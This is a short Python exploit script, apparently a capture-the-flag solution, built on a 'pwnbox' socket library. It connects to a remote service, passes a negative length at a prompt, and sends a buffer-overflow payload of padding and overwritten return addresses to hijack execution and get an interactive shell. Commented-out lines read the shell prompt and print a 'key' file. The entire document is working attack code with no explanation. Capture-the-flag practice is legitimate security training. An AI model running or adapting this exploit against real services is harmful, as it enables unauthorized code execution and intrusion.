import pwnbox

pipe = pwnbox.pipe.SocketPipe("remote.goatskin.xyz", 50006)

#pipe = pwnbox.pipe.ProcessPipe("./secure_program")

pipe.read_until('100): ')
pipe.write('-1\n')
pipe.write("\x90"*0x10c+"\x50\x84\x04\x08"+"\xa0\xa0\xa0\xa0"+"\xc9\x87\x04\x08"+"\x0a")
#pipe.write("A"*260+"\x50\x84\x04\x08"+"B"*4+"\xc9\x87\x04\x08\n")
#pipe.read_until("$ ")
#pipe.write("cat key\n")
pipe.interact()
pipe.close()

